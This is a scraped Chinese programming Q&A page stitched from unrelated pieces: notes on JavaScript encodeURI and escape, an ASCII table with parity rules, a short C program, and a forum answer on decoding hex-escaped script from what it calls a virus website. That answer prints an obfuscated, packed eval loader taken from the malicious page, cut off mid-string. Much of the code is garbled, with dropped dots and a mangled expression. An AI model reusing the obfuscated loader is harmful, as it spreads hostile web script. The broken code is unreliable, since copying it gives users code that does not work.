encodeURI() 把字符串编码为
URI
encodeURIComponent() 把字符串编码为
URI
组件
escape() 对字符串进行编码
上面是查询来自w3school的资料。那么三者之间有什么区别呢,请容我测试测试。
复制代码
代码如下:
var
str
=
">//转换成16进制的ASCII码组合如下
function transStr(str){
var result="";
for(var i=0;i<strlength;i++){
result+=strcharCodeAt(i)toString(16)+" ";
}
return resulttrim();
}
//但你说的最终结果,完全没看出来和bcd码有什么关系。
①大写字符A到Z的ASCII代码分别是065到090,字符加一,代码加一
②小写字符a到z的ASCII代码分别是097到122,依旧是字符加一,代码加一
下图为常见字符的ASCII代码对应图
扩展资料
32~126(共95个)是字符(32是空格),其中48~57为0到9十个阿拉伯数字。
65~90为26个大写英文字母,97~122号为26个小写英文字母,其余为一些标点符号、运算符号等。
同时还要注意,在标准ASCII中,其最高位(b7)用作奇偶校验位。所谓奇偶校验,是指在代码传送过程中用来检验是否出现错误的一种方法,一般分奇校验和偶校验两种。
奇校验规定:正确的代码一个字节中1的个数必须是奇数,若非奇数,则在最高位b7添1;偶校验规定:正确的代码一个字节中1的个数必须是偶数,若非偶数,则在最高位b7添1。
#include <stdioh>void main()
{
char c;
printf("请输入一个小写字母:\n");
scanf("%c",&c);
printf("小写字母%c的ASCII码值是%d\n",c,c);
printf("对应的的大写字母是%c\n",c-32);
}escape()和unescape()是一对编码解码函数,一般用于URL中非ASCII字符的编码和解码!
如:escape("&")返回%26,unescape("%26")返回&,都用十六进制编码!
这个函数在AJAX技术应用中发送中文字串很有用,特别是AJAX向GB2312编码的ASP程序发送中文时很有用!如:要将name="东方不败"发给redasp(asp为gb2312如果为UTF-8的话就不用编码)前先做escape(name),这样发到redasp时中文就不会乱码,指接用request接收就行了!这是16进制加密,现在还没有发现什么网站发布这样的解密,我有一个不过是自已编的,网上找不到。很简单你可以自已写一下,首先将16进制转成10进制就成了ASCii码了,再将ASCii转成字符串就可以了。 比如\x3C\x73\x63\x72\x69\x70\x74\x20 转成10进制就是 60 115 99 114 105 112 116 32 转成字符串就是 是一个病毒网站。 它进行了三次加密第一次就地址编码加密就是我们常见的%20就是空格,第二次就是ASCii编码,第三次是10进制转16进制。 自已有时间编一个吧。 你上面的代码转成HTML就是下面的。代码你没发完,你可以自已安上面的方面解密。 window["eval"](function(gWPIh1,KG2,WkskIm3,F_vrAIds4,kTCTsa5,IFJlie6){kTCTsa5=function(WkskIm3){return (WkskIm335window["String"]["fromCharCode"](WkskIm3+29):WkskIm3["toString"](36))};if(!''["replace"](/^/,window["String"])){while(WkskIm3--)IFJlie6 [kTCTsa5(WkskIm3)]=F_vrAIds4[WkskIm3]||kTCTsa5(WkskIm3);F_vrAIds4=[function(kTCTsa5){return IFJlie6 [kTCTsa5]}];kTCTsa5=function(){return'\\\x77\x2b'};WkskIm3=1};while(WkskIm3--)if(F_vrAIds4[WkskIm3])gWPIh1=gWPIh1["replace"](new window["RegExp"]('\\g'+kTCTsa5(WkskIm3)+'\\g','g'),F_vrAIds4 [WkskIm3]);return gWPIh1}('78("<b></I>");78("");78("");78("");78("</b></a>");78("<b></b></a>");78("<b><b>[A]</b></a>");78("<b>[B]</b></a>");78("<b>[C]</b></a>");78("");78(":");78("U");78("");78("<9c="">-------</9>");78("<9c=0>0 </b>
欢迎分享,转载请注明来源:内存溢出
评论列表(0条)